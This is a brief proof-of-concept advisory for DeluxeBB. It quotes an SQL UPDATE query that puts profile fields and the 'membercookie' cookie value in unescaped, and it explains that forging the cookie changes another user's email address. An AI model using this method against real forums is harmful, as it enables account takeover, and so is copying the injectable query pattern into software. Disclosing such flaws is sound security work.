------------------------------------------------------------------------------------------------
PoC / Bug Explanation: 
When you update your profile,
DeluxeBB execute a vulnerable query:

$db->unbuffered_query("UPDATE ".$prefix."users SET email='$xemail', msn='$xmsn', icq='$xicq', ... WHERE (username='$membercookie')");

So, editing cookie "membercookie" you can change remote user's email.

Enjoy ;)
